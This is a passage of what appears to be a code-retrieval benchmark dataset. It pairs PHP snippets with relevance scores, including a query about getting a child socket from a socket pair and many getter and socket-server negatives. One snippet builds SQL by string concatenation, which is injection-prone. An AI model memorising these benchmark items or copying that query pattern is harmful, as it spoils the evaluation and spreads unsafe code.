(-$b+sqrt($delta))/(2*$a);\n\t\t\t$x2 = $x1;\n\t }\n\t else {\n\t \t$x1=(-$b+sqrt($delta))/(2*$a);\n\t \t$x2=(-$b-sqrt($delta))/(2*$a);\n\t }\n\n\t //displaying the result using only 2 digits\n\t return number_format($x1, 2).' and '.number_format($x2, 2);\n\n\t}", "title": "" }, { "docid": "08c234f14f22bb01ca2f1c2f34c650e1", "score": "0.47333238", "text": "public function set2MttCreditPrec($_2MttCreditPrec) {\n $this->_2MttCreditPrec = $_2MttCreditPrec;\n return $this;\n }", "title": "" }, { "docid": "1992f958bd6f76be9ebee5d02069a484", "score": "0.47092035", "text": "public function getTaxeTwo(){\n return $this->getAmountHt() * 1.03;\n }", "title": "" }, { "docid": "b0265cf0bc40489778582010b6f3c469", "score": "0.46869284", "text": "function Trx_Uncorr($TAmb, $TColdEff, $Y) {\r\n if (($Y - 1) != 0)\r\n return ($TAmb - $TColdEff * $Y) / ($Y - 1);\r\n else\r\n return 999999;\r\n }", "title": "" }, { "docid": "1837abc135a1deae1ec21811b0fda293", "score": "0.4681386", "text": "public function getCumTranche2Si(): ?float {\n return $this->cumTranche2Si;\n }", "title": "" }, { "docid": "1d5a5958b166783dfad032af9a60df06", "score": "0.46715733", "text": "public function getCredits() {\n \tif (isset($this->row['SSBSECT_CREDIT_HRS']) && strlen($this->row['SSBSECT_CREDIT_HRS']))\n \t\treturn floatval($this->row['SSBSECT_CREDIT_HRS']);\n \telse\n \t\treturn $this->getCourse()->getCredits();\n }", "title": "" }, { "docid": "ac6e45dd0b40c65aec7f8b440d4f9157", "score": "0.46692786", "text": "public function getCpf()\n {\n return $this->cpf;\n }", "title": "" }, { "docid": "ac6e45dd0b40c65aec7f8b440d4f9157", "score": "0.46692786", "text": "public function getCpf()\n {\n return $this->cpf;\n }", "title": "" }, { "docid": "ac6e45dd0b40c65aec7f8b440d4f9157", "score": "0.46692786", "text": "public function getCpf()\n {\n return $this->cpf;\n }", "title": "" }, { "docid": "74a5c4deb47030f44933b33ae8b1f62b", "score": "0.46625432", "text": "public function getLowestSecondaryCurrencyPrice()\n {\n return $this->object->LowestSecondaryCurrencyPrice;\n }", "title": "" }, { "docid": "91fd339e98b3549cd93da445fec8ddf7", "score": "0.46593276", "text": "public function getTauxSalTrC(): ?float {\n return $this->tauxSalTrC;\n }", "title": "" }, { "docid": "c1d559418911a76abab51e0f31609223", "score": "0.46592715", "text": "public function getVRetCSLL()\n {\n return $this->vRetCSLL;\n }", "title": "" }, { "docid": "b16abf873ec3e3682aacac05c4875d76", "score": "0.46561858", "text": "public function value()\n {\n return $this->factor() * $this->cost();\n }", "title": "" }, { "docid": "1f38910c3e5d46fcd2500d893054e8f4", "score": "0.4653108", "text": "public function getTimeSecond()\n {\n if($this->getTimer()) {\n\n return self::MINUTE*self::SECONDS - ($this->timeHasPassed()->i * self::SECONDS + $this->timeHasPassed()->s);\n }\n return 0;\n\n }", "title": "" }, { "docid": "671155936e19b760d982475e678cfd5e", "score": "0.4652105", "text": "public function getFormFactor()\n {\n return $this->form_factor;\n }", "title": "" }, { "docid": "5cc558797d395e2826f72510bae846de", "score": "0.4647424", "text": "public function getCpf()\n {\n return $this->cpf;\n }", "title": "" }, { "docid": "bab44f8456c4145e2c7040300a865b95", "score": "0.46376374", "text": "function _getICDF($p) { \n $x = 1; \n if ($this->CDF($x) > $p) \n return 0; \n while ($this->CDF($x) < $p)\n $x++; \n return $x; \n }", "title": "" }, { "docid": "b92afff2e0f42e66801bf7cb191f08f9", "score": "0.46323398", "text": "public function getSecondValTest()\n {\n return $this->secondValTest;\n }", "title": "" }, { "docid": "961037e949afad460a89b9dc96ec4276", "score": "0.4629894", "text": "public function getCstb()\n {\n return $this->cstb;\n }", "title": "" }, { "docid": "93822e6def94422611f40a512ee2253e", "score": "0.46257544", "text": "public function getConcentration()\n {\n return $this->concentration;\n }", "title": "" }, { "docid": "e1b63c7bef0ade1423781393c7c063f8", "score": "0.46139294", "text": "function trader_correl($real0, $real1, $timePeriod = NULL)\n{\n}", "title": "" }, { "docid": "eaa2d72c098b7a57a0515597c8c8c0ab", "score": "0.46006125", "text": "public static function convert(float $firsRate, float $secondRate): float\n {\n return $firsRate/$secondRate;\n }", "title": "" }, { "docid": "0d588a0df418278e5d5fe4f584076ee8", "score": "0.45968452", "text": "public function getCostMicros()\n {\n return isset($this->cost_micros) ? $this->cost_micros : 0;\n }", "title": "" }, { "docid": "77cb29b5abd160b989f0606994eb7180", "score": "0.45962954", "text": "function get_user_ca_adj_factor($indxx_id, $ticker) {\n\t\t// exit;\n\t\t$ca = $this->db->getResult ( \"select factor from tbl_user_ca_adj_factor where indxx_id ='\" . $indxx_id . \"' and ticker_id='\" . $ticker . \"' and status='1' and date='\" . $this->_date . \"'\", true );\n\t\tif (! empty ( $ca )) {\n\t\t\treturn $ca [0] ['factor'];\n\t\t}\n\t\treturn 0;\n\t}", "title": "" }, { "docid": "93c99ff5b3fe79e10b268832b30ae8f3", "score": "0.45893875", "text": "public function div2(){\r\n\r\n $erg=$this->a/$this->b;\r\n round($erg);\r\n return $erg;\r\n }", "title": "" }, { "docid": "fa09cd16ac80d3e876954c2251572efd", "score": "0.4584103", "text": "public static function getControlleurCourant(){\n return self::$_instance->controlleurCourant;\n }", "title": "" }, { "docid": "8e70e35cb1ab8a77d6354818dfdb9b9c", "score": "0.45797879", "text": "public function getPrimeJf2Normal() {\n return $this->primeJf2Normal;\n }", "title": "" }, { "docid": "956594eb06a632ecbb60a6fbb4bbd9f4", "score": "0.45781162", "text": "function _getCDF($x) { \n if (!is_int($x))\n die(\"Value of x must be a positive integer\");\n for ($l=0; $l<=$x; $l++) \n $sum += $this->PDF($l);\n return $sum; \n }", "title": "" }, { "docid": "88698bbd18bb01ec65798c4b2f956d38", "score": "0.45661613", "text": "public function getCelular1() {\n return $this->Celular1;\n }", "title": "" }, { "docid": "466c51b45bdb5f6ea0a07d7ad72d585e", "score": "0.45641765", "text": "public function getSecond() {\n\t\treturn \\date('s', $this->_timestamp);\n\t}", "title": "" }, { "docid": "c5809ee859fc5307f72b00abf3916065", "score": "0.45632902", "text": "public function getCustomercreditDiscount();", "title": "" }, { "docid": "236a1e18d673f8ad097ee998e3044c00", "score": "0.4562739", "text": "public function getCritereNumerique2(): ?float {\n return $this->critereNumerique2;\n }", "title": "" }, { "docid": "85234b83912e4152d6f96843ca877baf", "score": "0.45603675", "text": "public function getDetTa2() {\n return $this->detTa2;\n }", "title": "" }, { "docid": "4fc5e82a4db6ad3cd44e8ed81403665c", "score": "0.4552545", "text": "public function getBaseCustomercreditDiscount();", "title": "" }, { "docid": "6ccfef01015142c18b7ee292579cd576", "score": "0.45450136", "text": "public function getCumBaseTrDCaisse1(): ?float {\n return $this->cumBaseTrDCaisse1;\n }", "title": "" }, { "docid": "9b7033defdd2950a942e9aeaa3c454b5", "score": "0.45400113", "text": "public function getConstantDeceleration()\n {\n return $this->constantDeceleration;\n }", "title": "" }, { "docid": "8faac6ff218ff95a2cb0a2642423b0b2", "score": "0.4533859", "text": "public function getSecondChanceEligible()\n {\n return $this->secondChanceEligible;\n }", "title": "" }, { "docid": "515c65495a1f6266dd8a9982e78b00e7", "score": "0.45318487", "text": "function effectiveRate($nominal_rate, $npery)\n {\n $npery = (int)$npery;\n if ($npery < 0) {\n return PEAR::raiseError('Number of compounding payments per year is not positive');\n }\n\n $effect = pow((1 + $nominal_rate / $npery), $npery) - 1;\n return $effect;\n }", "title": "" }, { "docid": "c667334250dfe2bb38df66848c81d113", "score": "0.45298845", "text": "public function second() {\r\n return $this->baseDT('', '')->format('s');\r\n }", "title": "" }, { "docid": "641fdd2b3f9ce1e98c108f9ae25aec0e", "score": "0.4529445", "text": "public function commissionRate();", "title": "" }, { "docid": "14ba13f8614a1f2c47d70e5bd61f845d", "score": "0.45225474", "text": "public function getMtPrime3Chantier() {\n return $this->mtPrime3Chantier;\n }", "title": "" }, { "docid": "09478aa424be270dcd6179529cccd94e", "score": "0.45075172", "text": "function GetContactPrice()\r\n\t{\r\n\t\treturn $this->m_contactprice;\r\n\t}", "title": "" }, { "docid": "edd042cd67b520422c3667b42dbbb500", "score": "0.4503641", "text": "public function GetAnswerC( ) {\n return $this->answerC_;\n }", "title": "" }, { "docid": "cce8910660fd78efe2d004d9c24d8b93", "score": "0.44996715", "text": "public function getTailleCoffre()\n {\n return $this->_tailleCoffre;\n }", "title": "" }, { "docid": "8fd071def273e803a59a37b6e6c11a4b", "score": "0.4493062", "text": "public function getTurnSpeed()\n {\n return $this->car->getTurnSpeed() * 1.2;\n }", "title": "" }, { "docid": "1b0e9fa1084f188b9b998745c729f529", "score": "0.44922277", "text": "public function getCurrencyCredit();", "title": "" }, { "docid": "0b67287127ca64499581a6872fc377de", "score": "0.44631344", "text": "public function getSecondChanceOfferCount()\n {\n return $this->secondChanceOfferCount;\n }", "title": "" }, { "docid": "6110e904d681604e0a68170075ba3b6e", "score": "0.44556287", "text": "public function getCustomerChargeAnother()\r\n {\r\n return $this->CustomerChargeAnother;\r\n }", "title": "" }, { "docid": "23c8ff6ea3f9cd76291a84d16d71abbb", "score": "0.4454763", "text": "public function getMilliSecond()\n {\n return $this->_fractional;\n }", "title": "" }, { "docid": "b5099c22c7fd8f88925253f01b0e2a57", "score": "0.4450313", "text": "public function getHighestSecondaryCurrencyPrice()\n {\n return $this->object->HighestSecondaryCurrencyPrice;\n }", "title": "" }, { "docid": "54fa3c4cf4638ec519cfc7a68e7306d1", "score": "0.4447849", "text": "public function getChange(): float\n {\n return $this->currency\n ->getChange();\n }", "title": "" }, { "docid": "92b25f2a9dd5d420335ec3102b0704da", "score": "0.44473633", "text": "public function getCost() {\n\t\treturn ($_GET['receiving_unit'] * $this->getRcost());\n\t}", "title": "" }, { "docid": "fe45418f8f6dbe7e8970ca08ced98f7c", "score": "0.4447313", "text": "public function getTestCpr();", "title": "" }, { "docid": "af0e2828bdc22ecbee4867f0037dd6c9", "score": "0.44429076", "text": "public function getOedtmstrtaxpct2()\n {\n return $this->oedtmstrtaxpct2;\n }", "title": "" }, { "docid": "0c4e2b4485947dce61e0c80edb7ea7c2", "score": "0.44376153", "text": "public function fahrenheit()\n {\n return ($this->celsius * 1.8) + 32;\n }", "title": "" }, { "docid": "1e1dfdee225c7dbcf721cc2bd2b701d2", "score": "0.4436046", "text": "public function getSquared()\r\n {\r\n return $this->squared;\r\n }", "title": "" }, { "docid": "73f162adde5fac3b1fbce44c50286cb3", "score": "0.4432896", "text": "public function getPerTransCredit(): ?float\n {\n return $this->perTransCredit;\n }", "title": "" }, { "docid": "79df96fb3f514481d5b428d4e9478605", "score": "0.44248942", "text": "function getLCM($a, $b){\n return($a * $b) / getGCF($a, $b);\n}", "title": "" }, { "docid": "075d01982dfdf408f04485861903d981", "score": "0.4424783", "text": "public function calculateCircumference()\n {\n return 2 * ($this->width + $this->height);\n }", "title": "" }, { "docid": "320e00960efadbfecf8e0b6a6b143835", "score": "0.44224575", "text": "public function _getCc() {\n\t\treturn $this->_cc;\n\t}", "title": "" } ]
52c2df180a228a0739eaca4b0147dc7e
Get the child socket from the pairing.
[ { "docid": "42878aa2d26183d4b01adf07cf96b4df", "score": "0.81058013", "text": "public function getChildSocket(): Socket\n {\n return $this->child;\n }", "title": "" } ]
[ { "docid": "166c419ddf4fd42b68dca3095526e4da", "score": "0.7073098", "text": "public function getParentSocket(): Socket\n {\n return $this->parent;\n }", "title": "" }, { "docid": "376c634d1ba818c9919b8ce396f0e774", "score": "0.68682694", "text": "public function getSocket()\n {\n return ($this->_socket);\n }", "title": "" }, { "docid": "32358173cefd237c22db61ee35ad0876", "score": "0.685616", "text": "public function getSocket()\n {\n return $this->_socket;\n }", "title": "" }, { "docid": "d8ea0d9c7a8205a2068a87fd39d821c4", "score": "0.6803279", "text": "public function getSocket();", "title": "" }, { "docid": "ce63ccf64e096fddd67f24d3002d9e21", "score": "0.6445625", "text": "public function getSocket()\n {\n }", "title": "" }, { "docid": "3b64d9bc8d9d3e9d2c2c4483482b9a08", "score": "0.63488233", "text": "public function BindSocket()\n {\n return parent::BindSocket();\n }", "title": "" }, { "docid": "0c8a87dcfd30df11dd7eb8722b34aca5", "score": "0.6281869", "text": "public function getSocketPair()\n {\n\n // initialize the array for the socket pair\n $sockets = array();\n\n // on Windows we need to use AF_INET\n $domain = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN' ? AF_INET : AF_UNIX);\n\n // setup and return a new socket pair\n if (socket_create_pair($domain, SOCK_STREAM, 0, $sockets) === false) {\n throw new \\Exception(\"socket_create_pair failed. Reason: \" . socket_strerror(socket_last_error()));\n }\n\n // return the array with the socket pair\n return $sockets;\n }", "title": "" }, { "docid": "6a195496be1bf4f79677b9c8eab2e1b5", "score": "0.59721285", "text": "private function getSocket(): SocketInterface\n {\n if (!isset($this->socket)) {\n $this->socket = $this->factory->create();\n }\n\n return $this->socket;\n }", "title": "" }, { "docid": "c300a626a65a5d416ef7625ca741893c", "score": "0.5963947", "text": "public function CreateSocket()\n {\n return parent::CreateSocket();\n }", "title": "" }, { "docid": "acb348637bdcf0c774abd4d8bb4374c4", "score": "0.58450264", "text": "protected function _getSocket() {\n\t\t$f3 = \\Base::instance();\n\t\t$host = $f3->get(\"pushconfig.host\");\n\t\t$port = $f3->get(\"pushconfig.port\");\n\t\tif (!$this->_socket) {\n\t\t\t$this->_socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);\n\t\t\tif($f3->get(\"pushconfig.enabled\")) {\n\t\t\t\t$result = @socket_connect($this->_socket, $host, $port);\n\t\t\t\t$f3->set(\"push_socket_status\", $result);\n\t\t\t\tif(!$result) {\n\t\t\t\t\t$err = socket_last_error();\n\t\t\t\t\t$str = socket_strerror($err);\n\t\t\t\t\t$log = new \\Log(\"push.log\");\n\t\t\t\t\t$log->write(\"Failed to create socket connection: [$err] $str\");\n\t\t\t\t\t$f3->set(\"error\", \"An error occurred connecting to the push server.\");\n\t\t\t\t}\n\t\t\t\tsocket_write($this->_socket, \"TEST MESSAGE\");\n\t\t\t}\n\t\t}\n\t\treturn $this->_socket;\n\t}", "title": "" }, { "docid": "d453c1d92cb1eaabb31e88727e0843fd", "score": "0.5732723", "text": "protected function getSocketConnection()\n {\n return new AMQPSocketConnection(HOST, PORT, USER, PASS, VHOST);\n }", "title": "" }, { "docid": "e3c9c409b72d15bee8417876bf947ddc", "score": "0.57100177", "text": "private function resolveRemoteAddress()\n {\n $result = stream_socket_get_name($this->socket->getStreamResource(), true);\n\n return $result !== false ? $result : null;\n }", "title": "" }, { "docid": "b66466349b108f556059f3e2c7e3f75b", "score": "0.553984", "text": "public function getClientSocket()\n {\n return $this->clientSocket;\n }", "title": "" }, { "docid": "388010fa86b68c5bec12d7816c40e6d9", "score": "0.5466887", "text": "public function receive()\n {\n // Channel communication within processes is one way,\n // so we cascade the call straight to the parent socket\n return $this->parent->receive();\n }", "title": "" }, { "docid": "3ca64e370d17c2caf9035cd14a2da4c4", "score": "0.54012436", "text": "function socket_get_peer_name ($socket, &$address, &$port = null)\n{\n return socket_getpeername($socket, $address, $port);\n}", "title": "" }, { "docid": "c16c811e26f14935f8c1dc7b6fe2be67", "score": "0.53516006", "text": "public function getSocketFile()\n {\n return $this->_socketFile;\n }", "title": "" }, { "docid": "fa47cd08d9c73cf13dada06c40f19b6e", "score": "0.534659", "text": "protected function _getSocketConnection($id)\n\t{\n\t\tif (!isset($this->_socketConnections[$id])) {\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\treturn $this->_socketConnections[$id];\n\t}", "title": "" }, { "docid": "6b1a8da14ef41675155e330aa39ffddb", "score": "0.5344166", "text": "public function getSocket(): \\Socket|false\n {\n }", "title": "" }, { "docid": "773e989eef9c37dd77160f82e9c64c6b", "score": "0.52914524", "text": "public function getSocketContext() : ConnectContext\n {\n return $this->socketContext;\n }", "title": "" }, { "docid": "e243750ded878bb3cd80aa558f6bf1aa", "score": "0.52636737", "text": "function socket_create_master()\n {\n \n # No timeouts, flush content immediatly\n set_time_limit(0);\n ob_implicit_flush();\n\n # Create socket\n if(($socket = socket_create(AF_INET,SOCK_STREAM,0))===false )\n {\n $this->mlog ('Could not create socket');\n $this->mlog ('End of script');\n die();\n } \n\n # Bind to socket\n if(socket_bind($socket,$this->acs_ip,$this->acs_port)===false)\n {\n $this->mlog ('Could not bind to socket');\n $this->mlog ('End of script');\n die();\n }\n\n # Start listening\n if(socket_listen($socket)===false)\n {\n $this->mlog ('Could not set up socket listener');\n $this->mlog ('End of script');\n die();\n }\n \n return $socket;\n \n }", "title": "" }, { "docid": "3939885296ff22b0b53ec013b41071e6", "score": "0.52108485", "text": "public function get_device_socket($device_id) \n {\n $flag = 0;\n for ($i = 0; $i < $this->index; $i++) \n {\n if ($this->device_id[$i] == $device_id) // device id is present in the array\n {\n $flag = 1;\n break;\n }\n }\n if ($flag == 1) // device is active\n {\n $client = $this->device_sock_resource[$i];\n }\n else // device is not active\n {\n return 0;\n }\n return $client;\n }", "title": "" }, { "docid": "137b60b06ff806a782cae4f0a608324d", "score": "0.52047235", "text": "public static function get($resSocket){\n\t\t\treturn self::$arrConnected[self::id($resSocket)];\n\t\t}", "title": "" }, { "docid": "d69df32096771246a4fc98fcbd705d6b", "score": "0.51977736", "text": "protected function _setSocketConnection()\n\t{\n\t\tif (!$this->_existsFreeConnection()) {\n\t\t\techo \"Max connections\\n\";\n\t\t\treturn false;\n\t\t}\n\t\t$connection = stream_socket_accept($this->_socket);\n\t\tif (!$connection) {\n\t\t\techo \"Not connected\\n\";\n\t\t\treturn false;\n\t\t}\n\t\tstream_set_blocking($connection, 0);\n\t\t$id = $this->_socketConnectionPrimaryId;\n\t\t$this->_socketConnections[] = $connection;\t\t\n\t\t++$this->_socketConnectionPrimaryId;\n\t\t\n\t\treturn $id;\n\t}", "title": "" }, { "docid": "7bc50a1646782a63a11ae49fcc69288e", "score": "0.51805025", "text": "public function getConnectedSocket($socketId)\n {\n if (isset($this->connected[$socketId])) {\n return $this->connected[$socketId];\n }\n }", "title": "" }, { "docid": "24ecaab7742e1cf32d70da09971e4500", "score": "0.5125919", "text": "function socket_get_sock_name ($socket, &$addr, &$port = null)\n{\n return socket_getsockname($socket, $addr, $port);\n}", "title": "" }, { "docid": "d008a790f9b76fe2112f33bcb8cd0bcb", "score": "0.5111241", "text": "public function getSockets()\n\t{\n\t\t//static::$logger->sendMessage(\"Received call to getSockets\", LogLevel::TRACE);\n\t\t$return = $this->motherCollection->getSockets();\n\t\t//static::$logger->sendMessage(\"Finished call to getSockets\", LogLevel::TRACE);\n\t\t\n\t\treturn $return;\n\t}", "title": "" }, { "docid": "bb7d03a7595067baf2830e10bb8d7351", "score": "0.5019743", "text": "public function getHandle()\n {\n return $this->getConnection();\n }", "title": "" }, { "docid": "0e880cc6d55fa41d425af5b249c5556b", "score": "0.4995492", "text": "public function getPier(): ?string\n {\n return $this->isConnected() ? stream_socket_get_name($this->socket, true) : null;\n }", "title": "" }, { "docid": "80aacc00b978fe5b03938dd1240f17e1", "score": "0.49931347", "text": "public static function slave() {\n if (!self::$slave instanceof PDO) {\n self::getSlave();\n }\n\n return self::$slave;\n }", "title": "" }, { "docid": "fdb4b849c3558520a0c94fa4ee064582", "score": "0.4987982", "text": "private function _connect() {\n\t\t$errno = 0;\n\t\t$errstr = '';\n\t\t$resource = fsockopen($this->_host, $this->_port, $errno, $errstr, $this->_timeout / 1000);\n\n\t\tif (!$resource) {\n\t\t\tthrow new RuntimeException(\"Failed to connect to gearman server at {$this->_host}:{$this->_port}. Error number [$errno], message: $errstr\");\n\t\t} else {\n\t\t\tstream_set_timeout($resource, 0, $this->_timeout * 1000);\n\t\t\treturn $resource;\n\t\t}\n\t}", "title": "" }, { "docid": "6a69efd7ff3901778bbae8fa4fe169a1", "score": "0.49657068", "text": "function handle_client($ssock, $csock) {\n\tGLOBAL $__server_listening;\n\tGLOBAL $fh;\n\tGLOBAL $firstInteraction;\n\tGLOBAL $remip;\n\tGLOBAL $remport;\n\n\t$pid = pcntl_fork();\n\n\tif ($pid == -1) {\n\t\t/* fork failed */\n\t\t//printLog($fh, \"fork failure!\");\n\t\tdie;\n\t} elseif ($pid == 0) {\n\t\t/* child process */\n\t\t$__server_listening = false;\n\t\tsocket_getpeername($csock, $remip, $remport);\n\t\t\n\t\t//printLog($fh, date(\"d-m-y h:i:sa\") . \" Connection from $remip:$remport\");\n\n\t\t$firstInteraction = true;\n\t\t\n\t\tsocket_close($ssock);\n\t\tinteract($csock);\n\t\tsocket_close($csock);\n\t\t\n\t\tprintLog($fh, date(\"d-m-y h:i:sa\") . \" Connection to $remip:$remport closed\");\n\t\t\n\t\tfecharArquivoLog();\n\t\t\n\t} else {\n\t\tsocket_close($csock);\n\t}\n}", "title": "" }, { "docid": "0309f1a0b33f6bd4ae6c3d080b652f03", "score": "0.4959944", "text": "public function getName(): ?string\n {\n return $this->isConnected() ? stream_socket_get_name($this->socket, false) : null;\n }", "title": "" }, { "docid": "5257851c30be32b458942d22b9ec8e9d", "score": "0.49494392", "text": "public function connect()\n {\n return $this->handler;\n }", "title": "" }, { "docid": "5b54b3d904274224f9ca680da8541c23", "score": "0.4930303", "text": "public function onGetServer(): \\swoole_server\r\n {\r\n return $this->server;\r\n }", "title": "" }, { "docid": "a62b0b31f393cfef08a5ab56e29cdb99", "score": "0.4923801", "text": "function MUD_Connect($socket_path)\n\t{\n\t\t// Connect\n\t\t$socket = socket_create(AF_UNIX, SOCK_STREAM, 0);\n\t\tsocket_connect($socket, $socket_path);\n\t\treturn $socket;\n\t}", "title": "" }, { "docid": "acad6e4321b0be946b184ee787e7f800", "score": "0.4884257", "text": "public function &request_game_server() {\n foreach( $this->available_game_server as $key => $available ) {\n if( $available ) {\n $this->available_game_server[$key] = false;\n $this->servers[$key]->connect();\n $this->sockets[$key] = $this->servers[$key]->sock;\n\n return $this->servers[$key];\n }\n }\n return $this->nullserver;\n }", "title": "" }, { "docid": "f7b4a6e093e2b1a66e8b72424cdbd57d", "score": "0.48556972", "text": "protected function makeSocket($timeout = 1)\n {\n return fsockopen(\n 'tcp://' . $this->host,\n $this->port,\n $errno,\n $errstr,\n $timeout\n );\n }", "title": "" }, { "docid": "8e852b2152ed44125e0707831dd1fe90", "score": "0.48508888", "text": "public function getConnection() {\n return $this->getParent()->getConnection();\n }", "title": "" }, { "docid": "d6fcb45961d1d7d680877505ba5f0d8c", "score": "0.48470333", "text": "public function server()\n\t{\n\t\treturn $this->_server;\n\t}", "title": "" }, { "docid": "88edf66dbf8b08fb49ef62a5be9234f7", "score": "0.48401335", "text": "public function getReadSockets() {\n list($stdin, $stdout, $stderr) = $this->pipes;\n $sockets = array();\n if (isset($stdout) && !feof($stdout)) {\n $sockets[] = $stdout;\n }\n if (isset($stderr) && !feof($stderr)) {\n $sockets[] = $stderr;\n }\n return $sockets;\n }", "title": "" }, { "docid": "fc75d67b1f38490536df63b1b4082cbc", "score": "0.4839022", "text": "public function getReadConnection()\n\t{\n\t\tif (count($this->_slaves) === 0) {\n\t\t\t// If no slaves then get a master connection\n\t\t\t$read = $this->getWriteConnection();\n\t\t}\n\t\telse {\n\t\t\t// Select slave\n\t\t\t$read = $this->_slaves->selectNode();\n\t\t\tif ($read) $read->connect();\n\t\t}\n\t\t\n\t\treturn $read;\n\t}", "title": "" }, { "docid": "aeca208a26b4af0c3f9b487431a4cac7", "score": "0.48325476", "text": "private function getDeviceName()\n {\n return gethostname();\n }", "title": "" }, { "docid": "3c3f778d2e707731c3862ae8528b5349", "score": "0.483012", "text": "private function read_socket()\r\n {\r\n while (!feof($this->socket)) {\r\n $this->content .= fgets($this->socket, 2048);\r\n }\r\n fclose($this->socket);\r\n \r\n //while ($buffer = socket_read($this->socket, 2048))\r\n //{\r\n // $this->content .= $buffer;\r\n //}\r\n //socket_close($this->socket);\r\n \r\n return $this->content;\r\n }", "title": "" }, { "docid": "c587861792916a953ccc17d4d6198987", "score": "0.4794275", "text": "private static function getSlave() {\n $db = Registry::get(\"DATABASE_ENGINE\");\n\n try {\n self::$slave = new PDO($db.\":host=\".Registry::get(\"SLAVE_HOST\"). (Registry::get(\"SLAVE_PORT\") ? \";port=\". Registry::get(\"SLAVE_PORT\") : null). \";dbname=\".Registry::get(\"DATABASE_NAME\"),\n Registry::get(\"DATABASE_USERNAME\"),\n Registry::get(\"DATABASE_PASSWORD\"),\n [\n PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES utf8',\n ]);\n self::$slave->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n }\n catch (PDOException $ex) {\n throw new FrameEx(\"Could not connect to slave\", 0, FrameEx::HIGH, $ex);\n }\n }", "title": "" }, { "docid": "c534cb816ae9e5073d5c34789ee3ed85", "score": "0.4780313", "text": "protected function _getConnection($force = null)\n {\n // NOTE TO SELF: Re-write this to be able to disable NAGLE (TCP_NODELAY)\n if ($force || !is_resource($this->_socket)) {\n $errno = null;\n $errstr = null;\n $this->_socket = stream_socket_client('tcp://' . $this->_host . ':' . $this->_port, $errno, $errstr, 30);\n stream_set_timeout($this->_socket, 86400);\n if (!is_resource($this->_socket)) {\n throw new Riak_Transport_Exception('Error creating socket. Error number :' . $errno . ' error string: '. $errstr);\n }\n }\n return $this->_socket;\n }", "title": "" }, { "docid": "a4dae5e7c71db97c78cf46878263bbf6", "score": "0.4775806", "text": "public function get($writer = true, $unique = false) {\n if ($unique)\n return $this->get_new_connection();\n \n if (!$this->connection)\n $this->connect();\n return $this->connection;\n }", "title": "" }, { "docid": "280181a104ed03e616bca6a13d744c54", "score": "0.4770048", "text": "static function getsock($addr, $port)\n\t\t{\n\t\t\t$socket = null;\n\t\t\t$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);\n\t\t\tif ($socket === false || $socket === null)\n\t\t\t{\n\t\t\t\t$error = socket_strerror(socket_last_error());\n\t\t\t\t$msg = \"socket create(TCP) failed {$error}\";\n\t\t\t\tsyslog(LOG_ALERT, $msg );\n\t\t\t\treturn null;\n\t\t}\n\t\t\n\t\t$res = socket_connect($socket, $addr, $port);\n\t\tif ($res === false)\n\t\t{\n\t\t\t$error = socket_strerror(socket_last_error());\n\t\t\t$msg = \"socket connect($addr,$port) failed\";\n\t\t\tsyslog(LOG_ALERT, $msg . ' returning null');\n\t\t\tsocket_close($socket);\n\t\t\treturn null;\n\t\t}\n\t\treturn $socket;\n\t\t}", "title": "" }, { "docid": "35fecc9edb5a463cf6f3991cf7d5d017", "score": "0.4769165", "text": "protected function getConn() {\n\t\treturn setMySQLConn($this->host, $this->user, $this->pw, $this->database);\n\t}", "title": "" }, { "docid": "c132ef5b374040383c28afccb81519c2", "score": "0.47656372", "text": "private function getDataInSocket()\n {\n return stream_socket_recvfrom($this->socket->getStreamResource(), 1, STREAM_PEEK);\n }", "title": "" }, { "docid": "56089121968db63ffc01afa390ed13f9", "score": "0.47446996", "text": "public function server()\n {\n return $this->server;\n }", "title": "" }, { "docid": "a462bffebbcab6cc4bb55609907e615d", "score": "0.4727228", "text": "function getSocket($host, $port, $errno, $errstr, $timeout)\r\n\t{\r\n\t unset($socket);\r\n\t $attempts = 1;\r\n\t while($attempts <= 1 and !$socket) {\r\n\t\t$attempts++;\r\n\t $socket = @fsockopen($host, $port, $errno, $errstr, $timeout);\r\n\t $this->errno = $errno;\r\n\t $this->errstr = $errstr;\r\n\t if($socket and fread($socket, 4) == \"[TS]\") {\r\n\t fgets($socket, 128);\r\n\t return $socket;\r\n\t\t}\r\n\t }// end while\r\n\t return false;\r\n\t}", "title": "" }, { "docid": "d181ad1245ce1df1b1dd4c45c9624497", "score": "0.47260684", "text": "public function get_connection() {\n\t\treturn $this->connect;\n\t}", "title": "" }, { "docid": "78ec774299b3393d2769c471618c2ac8", "score": "0.47252432", "text": "public function handle_socket($read) \n {\n global $DEVICE_DEREG_MSG;\n\n //if the master's status changed,it means a new client would like to connect\n if (in_array($this->master, $read)) \n {\n /*\n * Stream Select can hold only 1024 sockets. Check if maximum is reached\n */\n if(sizeof($this->clients) >= 1022) //Server and UDP wakeup sockets use one fd each\n {\n $this->db->logservice->log($this->module_name, \"FATAL\", \"ALARM\",$this->IP, \"Maximum number of active sockets present. Cannot accept connection\");\n }\n else\n {\n // attempt to create a new socket\n $socket = @stream_socket_accept($this->master, \"-1\", $clientIp);\n $ip = str_getcsv($clientIp, \":\");\n\n //socket creation error\n if($socket === FALSE) \n {\n $this->db->logservice->log($this->module_name, \"ERROR\", \"ALARM\",$this->IP, \"Cannot accept the device connection\");\n }\n else //if socket created successfuly,add it to the clients array and write message log \n { \n //Set the socket to non-blocking mode. Temporary fix\n stream_set_blocking($socket, FALSE);\n // $this->device_context_options = stream_context_get_options($this->device_context);\n // $cert = openssl_x509_parse($this->device_context_options[\"ssl\"][\"peer_certificate\"]);\n // $cuid = strtolower($cert[\"subject\"][\"CN\"]); \n\n // $prev_cuid_index = $this->get_cuid_index($cuid);\n // if($prev_cuid_index != -1)\n // {\n // $this->db->logservice->log($this->module_name, \"INFO\", \"DEBUG\", $this->IP,\"Disconnecting duplicate socket connection..\");\n // $this->disconnect_device($this->clients[$prev_cuid_index]); \n // }\n \n $this->clients[sizeof($this->clients)] = $socket;\n // $this->device_common_name[sizeof($this->clients)-1]=$cuid;\n \n \n // $result = $this->db->query(\"select Device_Name from Device_Specification where Device_CUID='$cuid'\");\n // if ($this->db->SingleRecord($result))\n // {\n // $whom = $this->db->Record['Device_Name'];\n // $this->db->logservice->log($this->module_name, \"DEBUG\", \"GENERAL\",$this->IP, \"Device $whom connected to the server\");\n // }\n // else\n // {\n // 